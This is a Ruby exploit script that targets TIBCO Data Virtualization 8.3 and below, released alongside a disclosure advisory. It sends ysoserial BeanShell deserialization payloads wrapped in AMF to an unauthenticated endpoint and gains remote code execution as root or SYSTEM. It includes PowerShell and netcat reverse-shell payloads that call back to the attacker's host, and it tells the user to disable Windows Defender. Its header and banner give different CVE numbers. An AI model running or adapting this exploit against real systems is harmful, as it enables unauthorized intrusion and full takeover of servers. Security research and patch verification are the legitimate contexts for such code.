#!/usr/bin/ruby

=begin
Exploit for TIBCO Data Virtualization AMF Java Deserialization Remote Code Execution
by Pedro Ribeiro (pedrib@gmail.com|@pedrib1337) from Agile Information Security

Released on 2021-07-16

This exploit abuses CVE-2017-5641 and CVE-2016-2510 to achieve unauthenticated remote
code execution as root / SYSTEM on TIBCO Data Virtualization, versions 8.3 and below.

It requires a recent Linux with Ruby and netcat installed (preferably Debian or Ubuntu). 
It was tested against TDV 8.2 and 8.3 running on Windows and TDV 8.2 running on Linux.

The latest 8.4 version is not affected, as the AMF endpoint has been removed. 

Please check the advisory for full details
https://github.com/pedrib/PoC/blob/master/advisories/TIBCO/tibco_tdv_rce.md

This exploit is hosted at
https://github.com/pedrib/PoC/blob/master/exploits/tdvPwn.rb
=end

require 'tmpdir'
require 'net/http'
require 'uri'
require 'openssl'
require 'base64'

class String
	def black;          "\e[30m#{self}\e[0m" end
	def red;            "\e[31m#{self}\e[0m" end
	def green;          "\e[32m#{self}\e[0m" end
	def brown;          "\e[33m#{self}\e[0m" end
	def blue;           "\e[34m#{self}\e[0m" end
	def magenta;        "\e[35m#{self}\e[0m" end
	def cyan;           "\e[36m#{self}\e[0m" end
	def gray;           "\e[37m#{self}\e[0m" end

	def bg_black;       "\e[40m#{self}\e[0m" end
	def bg_red;         "\e[41m#{self}\e[0m" end
	def bg_green;       "\e[42m#{self}\e[0m" end
	def bg_brown;       "\e[43m#{self}\e[0m" end
	def bg_blue;        "\e[44m#{self}\e[0m" end
	def bg_magenta;     "\e[45m#{self}\e[0m" end
	def bg_cyan;        "\e[46m#{self}\e[0m" end
	def bg_gray;        "\e[47m#{self}\e[0m" end

	def bold;           "\e[1m#{self}\e[22m" end
	def italic;         "\e[3m#{self}\e[23m" end
	def underline;      "\e[4m#{self}\e[24m" end
	def blink;          "\e[5m#{self}\e[25m" end
	def reverse_color;  "\e[7m#{self}\e[27m" end
end

# transforms a ruby string into a byte string
def str_hex_to_byte(str)
  str_hex = ''
  str.scan(/../).each do |b|
    str_hex += [b].pack('H*')
  end
  str_hex
end

# replaces the serialVersionUID in the Java stream
# this is necessary because ysoserial creates a Beanshell 2.0b5 payload, and we need a 2.0b4
def serial_uid_replace(serial_one, serial_two, str)
  str.gsub(str_hex_to_byte(serial_one), str_hex_to_byte(serial_two))
end

def nc_thread(nc_port)
  system("nc -lnvkp #{nc_port}")
end

# in Windows Server 2016 we have to force encoding to utf-16le (done below)
# not sure how it's gonna work on other Windows Server versions
# NOTE: Windows Defender will block this, make sure you disable it for testing
WINSHELL = %Q{$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}

# standard netcat shell
# NOTE: netcat with '-e' exec capability is not installed on all Linux distros
LNXSHELL = %Q{nc -e /bin/sh LHOST LPORT}

puts ""
puts "Exploit for TIBCO Data Virtualization AMF Java Deserialization Remote Code Execution".cyan.bold
puts "Abuses CVE-2017-5651 and CVE-2016-2510".cyan.bold
puts "Advisory: https://github.com/pedrib/PoC/blob/master/advisories/TIBCO/tibco_tdv_rce.md"
puts "  Pwns TIBCO Data Virtualization v8.3 and below (tested on 8.3 and 8.2)".cyan.bold
puts "By:"
puts "  Pedro Ribeiro (pedrib@gmail.com|@pedrib1337) from Agile Information Security".blue.bold
puts ""

script_dir = File.expand_path(File.dirname(__FILE__))
ysoserial_jar = File.join(script_dir, 'ysoserial.jar')

if (ARGV.length < 4) 
	puts "Usage: ./tdvPwn.rb <rhost> <rport> <lhost> '<command>' [ssl]".bold
    puts "  If <command> is equal to:"
    puts "    - winshell".magenta.bold
    puts "       <rhost> is Windows, spawn a reverse shell to <lhost>:RANDOM_PORT"
    puts "    - lnxshell".magenta.bold
    puts "       <rhost> is Linux, spawn a reverse shell to <lhost>:RANDOM_PORT"
    puts "    - Otherwise just executes '<command>' on the target".magenta.bold
    puts "  'ssl' is an optional argument, enter if it targeting an HTTPS server"
	puts ""
	exit(-1)
end

if not File.exist?(ysoserial_jar)
  system('wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar')
end

rhost = ARGV[0]
rport = ARGV[1]
lhost = ARGV[2]
command = ARGV[3]
if ARGV.length > 4 && ARGV[4] == 'ssl'
	ssl = true
else
	ssl = false
end

shell = false

if command == 'winshell' || command == 'lnxshell'
  shell = true
  nc_port = rand(10000..65535)
  puts "[+] Starting reverse shell receiver at #{lhost}:#{nc_port}".green.bold
  ncat = Thread.new{nc_thread(nc_port)}

  if command == 'winshell'
    command = WINSHELL.gsub('LHOST', lhost).gsub('LPORT', nc_port.to_s).encode('utf-16le')
    command = "powershell -nop -EncodedCommand '#{Base64.strict_encode64(command)}'"

  elsif command == 'lnxshell'
    shell = true
    command = LNXSHELL.gsub('LHOST', lhost).gsub('LPORT', nc_port.to_s)
  end
end

Dir.mktmpdir { |temp_dir|
  puts "[+] Creating AMF payload...".green.bold

  amf_file = temp_dir + "/payload.ser"
  system("java -jar ysoserial.jar BeanShell1 '#{command}' > #{amf_file}")
  amf_payload = File.binread(amf_file)

  # replace all serialVersionUID from BeanShell 2.0b5 with the correct ones (2.0b4)
  amf_payload = serial_uid_replace("38160a123a301438", "44b1b7d1ab4b9881", amf_payload)
  amf_payload = serial_uid_replace("732d4d1af75658ea", "a19548323e5bca26", amf_payload)
  amf_payload = serial_uid_replace("fb4166cb31114b12", "dd50f15cd947c257", amf_payload)
  amf_payload = serial_uid_replace("261342714a956a7d", "efd7414a372c52b7", amf_payload)

  # add our AMF message wrapper and MetaDataEntry gadget as a header
  header = [ 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x11, 0x0A,
    0x07, 0x47, 0x6F, 0x72, 0x67, 0x2E, 0x61, 0x70,
    0x61, 0x63, 0x68, 0x65, 0x2E, 0x61, 0x78, 0x69,
    0x73, 0x32, 0x2E, 0x75, 0x74, 0x69, 0x6C, 0x2E,
    0x4D, 0x65, 0x74, 0x61, 0x44, 0x61, 0x74, 0x61,
    0x45, 0x6E, 0x74, 0x72, 0x79, 0x7C, 0x99, 0x8B,
    0xD2, 0xC6, 0x4F, 0xB4, 0xE3, 0x00, 0x00, 0x00,
    0x02, 0x01, 0x00, 0x00, 0x00 ] 

  # calculate AMF message body length packed as an unsigned big endian short
  amf_len = [amf_payload.length].pack('S>')

  # add the header, length and body
  amf_payload = header.pack('C*' * header.length) + amf_len + amf_payload

  # now add the AMF footer and we're done!
  amf_payload = amf_payload + "\x01\x01\x01"

  uri = URI.parse("http#{ssl ? 's': ''}://#{rhost}:#{rport}")

  Net::HTTP.start(uri.host, uri.port, (ssl ? {:use_ssl => true, :verify_mode => OpenSSL::SSL::VERIFY_NONE } : {})) do |http|
      http.post('/monitor/messagebroker/amf', amf_payload)
  end
  unless shell
    puts "[+] AMF payload sent, command should have executed by now!".green.bold
  else
    puts "[+] Shelly should be here any second, enjoy! Press CTRL + C when done pwning.".green.bold
    begin
      ncat.join
    rescue Interrupt
      puts "Exiting..."
    end
  end
}
exit 0
